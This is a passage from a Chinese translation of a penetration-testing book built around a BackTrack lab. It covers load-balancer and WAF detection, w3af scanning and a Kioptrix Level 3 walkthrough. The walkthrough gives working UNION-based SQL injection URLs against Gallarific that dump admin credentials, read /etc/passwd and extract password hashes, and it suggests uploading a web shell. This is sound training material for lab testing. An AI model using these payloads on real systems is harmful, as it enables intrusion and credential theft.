  2. 在 pfSense Web 控制台中,单击状态|DHCP 租约以获取当前租约列表。将 IP 地址与每台 Kioptrix 机器的 MAC 地址进行匹配。

  3. 通过使用右侧的按钮打开静态分配窗口,为两台机器设置静态 IP 地址分配。pfSense DHCP — Permanent reservations

  4. 服务:DHCP:编辑静态映射窗口中,您需要输入一个在 DHCP 范围之外的 IP 地址。这将确保每次机器连接时都会收到相同的 IP 地址。在 IP 地址字段中输入192.168.75.102pfSense DHCP — Permanent reservations

  5. 主机名中输入Kioptrix2

  6. 输入您选择的描述。这将存储在 DHCP 设置中,以便将来进行审查。

注意

作为渗透测试人员,值得注意的是,有时管理员会在其 DHCP 列表中输入非常好的注释。如果您碰巧接管了充当 DHCP 服务器的系统,这将使您更容易找到网络上有价值的机器。

  1. 单击保存以完成任务。

  2. 应用设置。向下滚动以查看静态 DHCP 地址。此列表包括有关所有分配的 IP 地址的信息。pfSense DHCP — Permanent reservations

安装 HAProxy 进行负载平衡

为了练习检测负载均衡器,我们需要在我们的虚拟实验室中设置一个。我们可以使用我们现有的 Ubuntu 机器来完成这项任务。

注意

如果在运行 HAProxy 时遇到困难,请确保验证您已关闭之前章节中的 Apache 安装。如果端口已被 Apache 或其他任何东西绑定,您将无法在同一端口上设置负载平衡。

  1. 在您的 Ubuntu 虚拟机上启用 NAT 设置并启动它。

  2. 在虚拟机上启用网络适配器 2。确保它使用 VLAN1。为您的 Ubuntu 机器设置一个静态 DHCP 租约。使用192.168.75.200作为 IP 地址。在控制台中使用dhclient刷新您的 IP 地址信息。验证您现在的一个适配器正在使用192.168.75.200

  3. 单击左上导航栏中的应用程序|Ubuntu 软件中心

  4. Ubuntu 软件中心屏幕的左上角的搜索字段中键入HAProxy

  5. 点击安装按钮,并在提示时输入密码。

注意

如果您在安装过程中遇到与不受信任的软件包相关的错误,可以运行apt-get updateapt-get upgrade来继续安装。

  1. 我们需要编辑配置文件以为我们的两台 Kioptrix 机器设置负载均衡器。打开终端会话并编辑/etc/haproxy/haproxy.cfg文件。记得使用sudo提升权限以进行写访问。然后从该目录中删除所有其他.cfg文件。
# sudo nano /etc/haproxy/haproxy.cfg 

  • 在保存并退出之前,您的文件应该与以下内容匹配:Installing HAProxy for load balancing
  1. 我们的 Ubuntu 机器已经运行了一个 Web 服务器,所以我们必须禁用它才能使这个练习正常工作:
# sudo /etc/init.d/apache2 stop 

  1. 是时候启动负载均衡器了:
# sudo haproxy -f /etc/haproxy/haproxy.conf 

如果一切配置正确,您将发现现在可以使用 IP 地址192.168.75.200浏览到您的 Kioptrix 机器。

将 Kioptrix3.com 添加到主机文件

让我们在 BackTrack 上的 hosts 文件中添加Kioptrix3.com,并尝试侦测正在访问哪台机器。在 BackTrack 终端中,切换到/etc目录,用你选择的编辑器打开hosts文件,并添加以下内容到文件中:

kioptrix3.com

通过 ping kioptrix3.com来验证连接:

# ping kioptrix3.com 

PING kioptrix3.com (192.168.75.200) 56(84) bytes of data.
64 bytes from kioptrix3.com (192.168.75.200): icmp_seq=1 ttl=64 time=3.76 ms

检测负载均衡器

在进行渗透测试时,有可能一个服务器上留下的漏洞在另一个服务器上是不可用的。适当的负载均衡几乎是完全透明的,这可能很容易导致测试结果的误传,如果您在负载均衡池中的任何服务器上发现了任何服务器问题。

提示

我们专注于 HTTP 负载均衡的练习。检测 DNS 负载均衡可以通过使用前一章描述的枚举工具来完成。例如,您可以使用 dig 来查看是否为同一域名返回了多个服务器。

快速现实检查 —— 负载均衡检测器

BackTrack 5 包括一个名为负载均衡检测器(lbd.sh)的脚本,它将快速测试负载均衡。运行这个工具对我们当前的负载均衡Kioptrix3.com服务器将为您提供输入,表明服务器没有负载均衡,因为该工具从未有机会看到其他服务器。

然而,如果您在 Ubuntu 机器上编辑 HAProxy 配置以使用轮询平衡类型(平衡roundrobin)并重新启动,以下命令将找到您的负载均衡器:

# cd /pentest/enumeration/web/lbd
# ./lbd.sh kioptrix3.com

lbd - load balancing detector 0.2 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.
Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
NOT FOUND
Checking for HTTP-Loadbalancing [Date]: 02:02:54, 01:44:10, FOUND
Checking for HTTP-Loadbalancing [Diff]: NOT FOUND
kioptrix3.com does Load-balancing. Found via Methods: HTTP[Date] 

注意

熟悉可以实现的各种负载均衡类型,这样就更容易准确地检测网络的真实情况。

那么,我们到底在寻找什么呢?

一个站点可以由许多不同的服务器托管,安全程度也不同。有时只需要其中一个服务器就能完成工作,渗透测试人员需要确保没有遗漏。

正如前面的例子所强调的,有时候不可能确定一个站点是否是负载均衡的。lbd.sh给我们提供了一个有趣的事实:它能够通过查看HTTP[Date]方法来确定站点是否正在负载均衡。访问的服务器之间的小变化是准确确定的关键。

注意

只是在两个正在负载均衡的系统之间进行简单的扫描将强调需要对所有系统进行枚举和测试,而不仅仅是一部分。

当对我们负载均衡池中的服务器运行 nmap 扫描时,我们看到以下结果:

# nmap -A -T5 192.168.75.101 

Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
MAC Address: 08:00:27:56:C4:B2 (Cadmus Computer Systems) 

这些信息是预期的。但它与其他 Kioptrix 机器相比如何?

# nmap -A -T5 192.168.75.102 

Nmap scan report for 192.168.75.102
Host is up (0.00055s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
MAC Address: 08:00:27:82:09:5A (Cadmus Computer Systems) 

我们看到许多发现与预期相同,但这里有一个小的差异需要查找:192.168.75.102的 MAC 地址与192.168.75.101的不同。如果这些系统不是彼此的完全克隆,那么其他差异也可能是可见的。这些是我们需要寻找的小差异。

我们的 Web 应用程序由 Kioptrix 机器托管,但由我们的 Ubuntu 机器进行负载均衡。这通常是一个虚拟 IP 地址,严格用于提供对托管我们应用程序的两台生产机器的访问,可能是在分层 DMZ 中。当然,如果应用程序开发人员或管理员在其中一台服务器或应用程序中留下了漏洞,我们将很快能够绕过任何这样的安全措施,直接进入关键的基础设施和数据所在的地方。

提示

HTTP 响应标头还可以提供突出显示负载均衡器的信息。使用允许您查看这些标头的工具,您可以确定是否存在这些类型的差异,表明有多台机器提供相同的网页。

检测 Web 应用程序防火墙(WAF)

我们需要了解是否还有内联 Web 应用程序防火墙需要我们注意。BackTrack 通过提供 WAFW00F 来满足这一需求,这是一个尝试检测最常用的 Web 应用程序防火墙的工具。这个脚本是由 Sandro Gauci 和 Wendel G. Henrique 创建的,可以从项目网站的下载部分下载code.google.com/p/waffit/

使用以下命令从 BackTrack 终端调用命令:

# cd /pentest/web/waffit/
# ./wafw00f.py

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Usage: wafw00f.py url1 [url2 [url3 ... ]]
example: wafw00f.py http://www.victim.org/
wafw00f.py: error: we need a target site

与大多数由辛勤工作的开发人员提供的工具一样,当运行wafw00f.py时,没有任何输入变量的语法示例。我们将遵循提供的用法示例语法:

# ./wafw00f.py http://kioptrix3.com 

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://kioptrix3.com
Generic Detection results:
No WAF detected by the generic detection 
Number of requests: 10

突出显示的响应表明没有找到 WAF。这应该会让我们渗透 Kioptrix 机器的工作变得更容易。那么,如果实际上有 Web 应用程序防火墙,我们应该期望看到什么呢?以下是针对这种配置的结果:

^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://192.168.75.15/mod_security/w3af/
The site http://192.168.75.15/mod_security/w3af/ is behind a ModSecurity
Generic Detection results:
The site http://192.168.75.15/mod_security/w3af/ seems to be behind a WAF
Reason: The server returned a different response code when a string trigged the blacklist. 
Normal response code is "404", while the response code to an attack is "302"
Number of requests: 10

正如您所看到的,这些信息清楚地定义了网站正在受到保护的事实,以及在这种情况下它正在使用 ModSecurity(实际上确实是)。在进行测试时,我们应该牢记这一事实,并尝试使用已知可用于测试使用此特定软件的站点的技术。这些策略会随时间而变化,因此在尝试在生产网络上使用漏洞之前,您应该尝试模拟您正在测试的环境。

接受第 3 级挑战 — Kioptrix

本章中我们想要涵盖的许多技术可以通过接受 Kioptrix 提供给我们的挑战来探索。让我们看一下获得 Kioptrix 机器 root 权限所需的步骤。

提示

打开 BackTrack,查看Kioptrix3.com的 Web 应用程序。浏览并查看页面的源代码。在开始之前,有一些有趣的注释和彩蛋留给我们。玩得开心!

通常,我们将从扫描托管 Web 应用程序的服务器开始。这种基础设施测试为我们提供了许多在尝试执行某些 Web 应用程序漏洞时非常有用的信息。在这种情况下,我们知道使用我们的负载平衡检测器,正在进行一些负载平衡。我们还知道这些服务器彼此非常相似,并且没有留下任何线索表明它们的真实 IP 是什么。我们的下一步是检查是否有任何明显的 Web 应用程序防火墙需要我们注意。如果有的话,我们可能需要使用某些规避技术来绕过这些限制。

在现实世界中,由于防火墙限制和网络分割实践,这些系统很可能甚至无法直接访问。我们的目标是能够接管其中一个服务器,然后从该服务器转移到另一个服务器,然后将其关闭。毕竟,如果系统完全相同,我们只需要获取一个的凭据,就可以使用该凭据接管所有副本。

Web 应用程序攻击和审计框架(w3af)

这个令人难以置信的框架自动化了以前手动完成的许多任务。完全可扩展和开源的 w3af 使用了大量插件,提供了完全可定制的测试体验。该工具的作者创建它是为了对测试新手和专家渗透测试人员都非常友好。如果您需要的插件尚未可用,那么只需自己创建它,可以节省大量时间用于未来的所有测试。w3af 不断更新和改进。w3af 包括的插件类型涵盖了发现、暴力破解、审计甚至规避。该框架还包括自动更新功能,以确保您始终安装并准备运行最新和最好的版本。在w3af.sourceforge.net了解更多关于这个工具的信息。

正如预期的那样,BackTrack 开发团队预先安装了 w3af。打开您的 BackTrack 虚拟机,然后选择:应用程序 | BackTrack | 漏洞评估 | Web 应用程序评估 | Web 漏洞扫描程序 | w3af gui来启动图形用户界面。如果您的 BackTrack 系统连接到互联网,当提示时您将能够更新插件到最新版本。

注意

不要选择在 BackTrack 内更新 w3af。在 BackTrack 5 r1 上更新 w3af 后,w3af 将不再起作用。可以采取几个步骤来安装和配置新的依赖项,但这超出了本示例的范围。

Web 应用程序攻击和审计框架(w3af)

通常,您会希望执行非常有选择性的攻击,特别是如果您试图测试客户管理员和安全团队的检测能力。

注意

在继续之前,请记得在 Ubuntu 机器上停止 Apache 并启动 HAproxy。

在这种情况下,我们将简单地开始执行web_infrastructure扫描,并查看我们可以在Kioptrix3.com (192.168.75.200)上找到什么信息。

Web 应用程序攻击和审计框架(w3af)

看起来 w3af 能够检测到这个站点正在进行负载平衡。仔细检查后,您会注意到反向代理可以用于防止已知问题被利用。确保实际测试漏洞(如果在您的参与规则中涵盖),特别是当您发现可能存在 Web 应用程序防火墙或其他缓解控制时。企业将希望确保他们在这些设备或服务器上的支出要么得到了回报,要么它们没有按预期工作。

使用 w3af GUI 来节省时间

现在我们将运行一个快速扫描,以确定我们能找到什么。这将需要一些时间,所以请确保留出足够的时间来允许测试完成。

注意

建议从提供可立即使用的信息的较小扫描开始,然后进行更彻底的扫描,可能需要数小时甚至数天。渗透测试通常(不幸地)受到预定时间范围的限制。

在测试进行中,您可以在日志选项卡下查看更新的日志。有时,甚至可以在扫描过程中审查日志,以便在收到结果后立即采取行动。

让我们回顾一些发现:

使用 w3af GUI 来节省时间

扫描发现了路径泄露、应用程序错误以及服务器允许目录索引的情况。这些信息对确定下一步非常有用。

使用 w3af 控制台进行扫描

我们中的许多人更喜欢留在控制台部分,而不是使用 GUI。考虑到这一点,我们将运行另一个扫描,看看是否能找到比简单的目录索引和路径泄露配置更有趣的东西。这次我们将使用控制台而不是 GUI。

注意

不要选择从 BackTrack 内部更新 w3af。在 BackTrack 5 r1 上更新 w3af 后,w3af 将不再工作。可以采取几个步骤来安装和配置新的依赖项,但这超出了本示例的范围。

# cd /pentest/web/w3af
# ./w3af_console

使用 w3af 控制台进行扫描

您可以从 w3af 命令控制台执行所有可用的关键功能。help 命令详细介绍了可用的选项。让我们开始扫描。

我们将从设置我们的目标主机开始:

w3af>>> target
w3af/config:target>>> set target http://kioptrix3.com

在目标菜单中,我们可以将目标设置为http://kioptrix3.com:

w3af/config:target>>> view 

View 将允许我们验证我们的配置。如果您查看屏幕截图,您可以确定目标设置不正确。再次使用 set target 并使用适当的设置将纠正您发现的任何问题。

w3af/config:target>>> back 

back 命令将带您返回到上一个屏幕。输入 exit 将退出 w3af 控制台,这是我们不想要的。

使用 w3af 控制台进行扫描

w3af>>> plugins 

我们可以通过在控制台中输入 plugins 来查看已安装的插件。这在确定您想要运行哪些特定项目时非常有用。您还可以从此菜单中获取有关每个插件的信息。

w3af/plugins>>> help 

如果需要更多信息,或者您只需要刷新您对所有内容的记忆,请在控制台的任何位置使用 help 命令。

w3af/plugins>>> back
w3af>>> profiles

配置文件部分是理解将要扫描的内容的关键。就像 GUI 一样,配置文件确定启动扫描时将运行哪些插件。

w3af/profiles>>> help 

为了确保我们运行正确的配置文件,我们检查可用命令以找到提供所需信息的命令。如果您已经了解站点的某些信息,可以通过创建自定义配置文件来节省时间,以匹配您正在扫描的配置。例如,在未使用 IIS 的服务器上扫描 IIS 漏洞是没有意义的。

w3af/profiles>>> list 

这里提供了可用的预配置配置文件列表。

使用 w3af 控制台进行扫描

w3af/profiles>>> use audit_high_risk 

use 命令允许我们指定在扫描期间要使用的配置文件。

w3af/profiles>>> back 

我们返回到 w3af 默认部分,并准备开始配置的扫描。

w3af>>> plugins
w3af/plugins>>> output

|-----------------------------------------------------|
| Plugin name | Status | Conf | Description |
|-----------------------------------------------------|
| console | Enabled | Yes | Print messages to |
| | | | the console. |
| emailReport | | Yes | Email report to |
| | | | specified addresses. |
| gtkOutput | | | Saves messages to |
| | | | kb.kb.getData('gtkOutput', |
| | | | 'queue'), messages |
| | | | are saved in the |
| | | | form of objects. |
| htmlFile | | Yes | Print all messages |
| | | | to a HTML file. |
| textFile | | Yes | Prints all messages |
| | | | to a text file. |
| xmlFile | | Yes | Print all messages |
| | | | to a xml file. |
|-----------------------------------------------------|

Output 将允许您设置输出类型,例如 XML、文本文件,甚至 HTML。我们使用默认设置启用htmlFile输出(输出到report.html),并暂时保持控制台启用。

w3af/plugins>>> output htmlFile 

这将启用 HTML 输出。

w3af>>> start 

正如您可能已经猜到的那样,输入start将使用我们刚刚配置的设置来启动我们的扫描。如果有错误,请使用我们刚刚审查的命令来检查和纠正错误。记得在卡住并不知道如何继续时使用 help 或 back。

扫描完成后,您将回到 w3af 提示符。查看结果后,我们发现仍然没有明显的发现可以快速轻松地接管机器或获得远程 shell。在这里,我们在 Firefox 中浏览到report.html位置,以显示默认的 HTML 报告格式:

使用 w3af 控制台进行扫描

我们需要继续进行一些小的修改,以选择插件以找到有趣的漏洞。插件可以禁用、查看或启用如下:

w3af>>> plugins
w3af/plugins>>> help

|---------------------------------------------------------|
| list | List available plugins. |
|---------------------------------------------------------|
| back | Go to the previous menu. |
| exit | Exit w3af. |
| assert | Check assertion. |
|---------------------------------------------------------|
| audit | View, configure and enable audit plugins |
| grep | View, configure and enable grep plugins |
| evasion | View, configure and enable evasion plugins |
| bruteforce | View, configure and enable bruteforce |
| | plugins |
| discovery | View, configure and enable discovery |
| | plugins |
| mangle | View, configure and enable mangle plugins |
| output | View, configure and enable output plugins |
|---------------------------------------------------------|

我们可以通过输入类别(例如audit)来查看启用了哪些插件。在这里,我们可以确定在使用audit_high_risk配置文件时启用了哪些审计插件。

w3af/plugins>>> audit 

此命令提供以下控制台输出:

使用 w3af 控制台进行扫描

一些非常重要的插件未启用。我们需要启用localFileIncludexssrescan

w3af/plugins>>> audit xss, localFileInclude
w3af/plugins>>> audit

验证所有设置是否准确;如果遇到错误,请重新设置目标,然后重新开始扫描。扫描完成后,查看结果。您应该注意到已检测到本地文件包含漏洞。我们还在kioptrix3.com/gallery上检测到许多未知的 Web 应用程序错误。我们可以重新进入扫描程序并启用所有插件,然后再次尝试,或者我们可以手动查看可疑的 URL。

使用 WebScarab 作为 HTTP 代理

启用 Web 代理并记录所有手动渗透测试活动是有益的。毕竟,您需要能够复制您的步骤,并撰写指示测试过程中所采取的步骤的报告。在 BackTrack 中,可以通过选择应用程序 | BackTrack | 漏洞评估 | Web 应用程序评估 | Web 漏洞扫描程序 | WebScarab找到 WebScarab。

注意

WebScarab 最初将使用 WebScarab Lite 界面。可以通过使用工具下拉菜单并选择使用完整界面来更改,并重新启动工具。

WebScarab 是 OWASP 团队提供的 HTTP 代理,将帮助分析您的 HTTP 流量。一旦启动,我们需要将浏览器指向使用代理。

加载 Firefox,选择编辑 | 首选项 | 选项 | 高级选项卡 | 网络选项卡,然后单击设置按钮。选择手动配置代理:单选按钮,并配置以下设置:

  • HTTP 代理:localhost | 端口:8008。

  • SSL 代理:localhost | 端口:8008。

  • 不使用代理:删除此处的条目。空白。

默认监听器应该能够捕获您的会话。现在在浏览器中转到kioptrix3.com。如果一切正常,并且没有收到错误,请转到kioptrix3.com/gallery/,然后返回到 WebScarab 并选择摘要选项卡以查看我们的代理结果:

使用 WebScarab 作为 HTTP 代理

有一件事立即确认了 w3af 遇到的未知应用程序错误问题。在尝试进行 SQL 注入攻击之前,URL kioptrix3.com/gallery/已经返回了 500 应用程序错误。自动化扫描程序很难处理异常行为,因此,我们必须进一步调查。如果这个概念在这个时候让您感到困惑,请尝试以下方法来确认我们的怀疑是正确的。打开一个新的 BackTrack 终端会话并调用 netcat:

# nc kioptrix3.com 80 

当连接建立时,输入以下内容:

GET http://kioptrix3.com/gallery/ 

我们直接获取数据,这样可以更好地控制信息。如果有疑问,使用 netcat!输出如下:

HTTP/1.0 500 Internal Server Error 
Date: Sun, 04 Dec 2011 23:36:00 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.6
Set-Cookie: PHPSESSID=f04693abb030c65c52014ea6bb99aafb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5653
Connection: close
Content-Type: text/html

突出显示的部分确认应用程序立即返回错误代码和请求的页面。

现在是时候使用 WebScarab 拦截我们的消息,看看我们正在处理什么。在 WebScarab 中打开代理选项卡,点击手动编辑选项卡,并选中拦截响应框。通过拦截响应,我们能够查看传递给服务器的数据包,看看是否有任何有趣的内容。现在,如果需要,我们也可以更改任何变量或隐藏字段。

现在我们正在拦截,回到浏览器屏幕并重新加载kioptrix3.com/gallery/页面。您将看到以下内容:

使用 WebScarab 作为 HTTP 代理

被拦截的数据将包括以解析和原始格式返回的响应。您必须了解正常响应应该是什么样子的。这些是能够帮助您在 Web 应用程序中发现漏洞的线索。在这种情况下,我们可以再次看到服务器在其标头中以 500 内部服务器错误的形式响应。当查看原始源时,我们还看到一些关于 Gallarific 的引用。与任何软件一样,当您能够确定正在运行的内容时,您应该快速查找已知的漏洞。

注意

记住这个过程:找出正在运行的内容,确定它是否设置正确和/或是否存在已知的漏洞,然后进行测试。

前往www.exploit-db.com搜索 GALLARIFIC。当前结果如下:

使用 WebScarab 作为 HTTP 代理

我们有三种不同的利用程序可供选择,仅针对这个简单的应用程序。这甚至没有计算我们能够使用自动化工具找到的本地文件注入。如果您选择列表中的顶部项目,即GALLARIFFIC PHP 照片库利用程序,您将看到提交利用程序的人甚至很好地包括了指向管理面板的路径kioptrix3.com/gallery/gadmin/,以防我们在以前的扫描结果中错过了它(还记得看到有关某些有趣内容被注释掉的通知吗:<!-- a href="gadmin">Admin</a>&nbsp; &nbsp; -->)。

注意

请记住,exploit-db 已经在您的 BackTrack 机器上!如果您像应该一样在分段网络上,就没有理由离开以下载利用代码或概念证明说明。您已经在您的机器上拥有它!

如果您正确地搜索了 Gallarific,您还会发现其他漏洞。以下是一些相关的 CVE 参考:

  • CVE-2008-1326

  • CVE-2008-1327

  • CVE-2008-1464

  • CVE-2008-1469

  • CVE-2008-6567

提示

在尝试查找有关软件漏洞的信息时,OSVDB(开放源代码漏洞数据库)osvdb.org/也是一个很好的资源。如果您找到一个有漏洞的软件版本,很可能您还会找到任何相关的概念证明代码(如果存在的话),因为 Exploit-DB 团队已经在确保他们的 CVE 与 OSVDB 相匹配上花费了很多精力。

现在看一下利用定义,我们看到提供了示例代码(感谢 AtT4CKxT3rR0r1ST 将此概念证明利用代码提交给Exploit-DB.com)

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- 

提示

除非您希望确认每个响应,否则请关闭拦截。

当然,为了使用这个例子,我们需要做一些更改。首先,我们需要更正www.site.com条目。将其替换为kioptrix3.com。然后我们需要添加我们的图库子文件夹,以便我们访问正确的站点:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users-- 

如果您尝试此代码,您会发现它并没有按计划工作。我们需要回到我们的 Web 应用程序测试基础知识,并确定问题所在。让我们在这里尝试一些东西,看看会发生什么。我们将简化查询并查看是否有效。

http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6,7,8 

作为回应,我们仍然收到以下错误:

The used SELECT statements have a different number of columns. Could not select category

如果您熟悉 SQL 注入,您已经知道问题所在。我们正在处理太多列。现在我们将通过列计数进行迭代,直到我们不再收到错误消息。尝试以下操作:

http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6 

现在我们看到了更有趣的东西。我们的 SQL 注入成功了!接下来,我们将修改概念证明代码如下,并尝试一下:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users-- 

此命令将为我们提供用户名admin和密码n0t7t1k4。使用此信息登录kioptrix3.com/gallery/gadmin并浏览一下。您可以访问应用程序的管理员权限,但尚未获得对机器本身的 root 访问权限。现在您知道可以使用 SQL 注入来获取数据库中的任何内容,请考虑您可能还能获取到什么其他信息;也不要忘记我们的文件包含漏洞!我们对 Kioptrix level 3 的旅程尚未完成。

Mantra 简介

Mantra 浏览器为渗透测试人员提供了许多工具,使 Web 应用程序测试变得高效和有趣。它利用了多年来编写的许多基于浏览器的插件,并可在getmantra.com上获得。一定要查看该网站提供的一些精心编写和详细的教程,因为它们提供了基本知识以外的用例示例。我们将使用 Mantra 中的插件以高效的方式充分利用我们实验室中的 Kioptrix 3 机器。在这个例子中,我们利用的主要插件是 Hackbar。您可以在addons.mozilla.org/en-US/firefox/addon/hackbar/了解更多关于 Hackbar 的信息。Hackbar 和 Mantra 中的其他附加组件使测试 Web 应用程序变得有趣,并允许知识渗透测试人员手动验证 Web 应用程序的安全性。

注意

您仍需要了解 Web 应用程序安全性的工作原理,以及如何手动执行这些测试;Mantra 只是通过提供许多手动测试所需的工具,使这个过程更加方便和高效。使用 Mutillidae 安装来填补您在测试常见 Web 应用程序安全问题方面的任何空白。

  1. 我们的第一步是在 BackTrack 机器上打开 Mantra 浏览器。可以通过导航菜单选择BackTrack | Vulnerability Assessment | Vulnerability Scanners | Mantra找到 Mantra。

  2. 在 Mantra 中,使用浏览器的 URL 导航栏(kioptrix3.com)浏览托管在您的 Kioptrix 1.2 虚拟服务器上的网页。

  3. 在 Mantra 中使用 hackbar 输入以下 URL,然后单击Execute按钮:

http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users-- 

  1. 您应该看到用户名admin和密码n0t7t1k4

  2. 让我们看看如何获取其他信息。在 hackbar 中输入以下内容:kioptrix3.com/gallery/gallery.php?id=1,然后单击Execute

  3. 现在将光标放在 hackbar 中kioptrix3.com/gallery/gallery.php?id=1条目的末尾,添加一个空格,然后直接在 hackbar 上方单击SQL | Union Select Statement,在弹出的窗口中输入6,然后单击OK。单击 hackbar 上的Execute按钮,以验证 SQL 注入是否有效。

  4. 现在,通过突出显示生成的查询并单击SQL | MySQL | Basic Info Column,将查询中的数字2替换为2,以便您的 URL 现在看起来像这样:kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),@@version),3,4,5,6。单击 hackbar 上的Execute,并查看结果。输出应包含以下信息:root@localhost : gallery : 5.0.51a-3ubuntu5.4。您已成功枚举了正在运行的用户、数据库名称和版本。

  5. 此时,您可以使用任何典型的 SQL 注入技巧来枚举这个数据库。尝试运行不同的命令,比如kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database(),这将列出当前数据库中的所有表。

  6. 我们已经可以使用常用的 SQL 注入代码访问服务器上的某些文件,比如kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6。这将列出服务器上的 passwd 文件。

  7. 为了获取开发用户的帐户信息,我们可以使用kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,username,password,4,5,6 from dev_accounts,这为我们提供了用户名loneferret的信息,密码哈希值为5badcaf789d3d1d09794d8f021f40f0e,以及用户dreg的密码哈希值为0d3eccfb887aabd50f243b3f155c0f85。我们可以尝试破解这些用户密码。成功破解密码将为您提供以下凭据:dreg - Mast3rloneferret - starwars

这些用户陷入了重复使用密码的陷阱。您现在可以通过从 BackTrack 到 Kioptrix 机器打开 SSH 会话来登录您的实验室中的 Kioptrix 1.2 机器。幸运的是,这些帐户不在 sudoers 列表中。现在我们需要提升其中一个帐户的权限。

注意

此时,您几乎已经获得了 Kioptrix Level 1.2 机器的 root 权限。花点时间四处看看服务器,尝试找出提升用户权限的方法。

一旦您使用 SSH 获得了 root 权限,通过网站上传一个 shell 到 Kioptrix Level 1.2 机器,再次挑战自己!有几种不同的方法可以实现这一点,如果遇到困难,可以参考网络上的许多攻略。

摘要

我们有机会真正开始构建我们的测试环境,设置 Kioptrix、pfSense、Muttilidae、HAProxy 等工具。在我们的实验室中使用这些工具有助于我们更好地理解我们正在测试的技术。最好的渗透测试人员具有丰富的 IT 经验,这样他们在测试和解释概念以及向客户解释控制措施时都能够充分利用。

我们还学会了如何使用工具如lbd来确定系统是否正在进行负载平衡,以及使用 Wafw00f 来寻找 Web 应用程序防火墙。熟能生巧,考虑到这一点,每一步都被定义得可以让您跟随并对技术充满信心,或者只是简单地更新您已经具有的重要技能。毕竟,在安全领域有很多需要记住的东西,很容易失去实践。

我们使用了 w3af 图形用户界面,然后使用了我最喜欢的 w3af 控制台,如果您想要更高效,可以对其进行脚本化。使用 Kioptrix 1.2,我们能够逐步了解如果您试图渗透客户的大型 Web 应用程序可能采取的不同步骤。我们讨论了有时自动化工具并不足以找到漏洞,因此浏览器和 WebScarab 等 HTTP 代理可以决定一个渗透测试的好坏。我们还向您介绍了 Mantra,它将通过提供社区创建的许多插件来帮助安全专业人员执行工作,从而使您的 Web 应用程序测试更加高效。

我们学到的最后一件事是,Web 应用程序测试是一门复杂而艰难的艺术。如果你遇到问题,永远不要放弃,继续努力!

下一章将深入探讨利用和客户端攻击。我们将学习缓冲区溢出,甚至创建我们自己的易受攻击程序。我们还讨论了不同的模糊测试工具,如 BED 和 sfuzz。我们深入研究了 Fast-Track 以及如何用它来设置大规模的网络攻击。我们还涉及了防病毒软件的规避和重新打包载荷。最重要的是,我们讨论了社会工程工具包,这应该是每个渗透测试人员工具箱中不可或缺的部分。

第六章:利用和客户端攻击

客户端攻击通常需要用户交互。对网站的粗心访问可能会导致灾难。一般来说,客户端攻击将集中在个人在家里或办公室使用的“客户端”机器上。在一个适当安全的环境中,这些主机将通过安全机制和实践的组合来保护,如白名单、网络分割、基于主机的防火墙、文件完整性监视器、系统配置硬化和防病毒软件。

